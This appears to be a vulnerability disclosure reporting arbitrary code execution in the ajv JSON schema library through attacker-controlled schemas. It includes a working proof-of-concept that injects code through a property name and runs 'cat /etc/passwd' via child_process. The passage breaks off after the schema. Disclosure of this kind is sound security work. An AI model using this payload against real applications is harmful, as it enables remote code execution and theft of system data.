Arbitrary code execution via untrusted schemas in ajv

I would like to report an arbitrary code execution vulnerability in `ajv`. It allows to execute arbitrary code if an attacker-controlled schema is passed to the module.

const ajv = require('ajv')({})
const payload = "(console.log(process.mainModule.require(`child_process`).execSync(`cat /etc/passwd`).toString(`utf-8`)),process.exit(0))"
const schemaJSON =`
{
  "properties": {
    "){}}};${payload};return validate//": {
      "allOf": [{}]
    }
  }
}
` …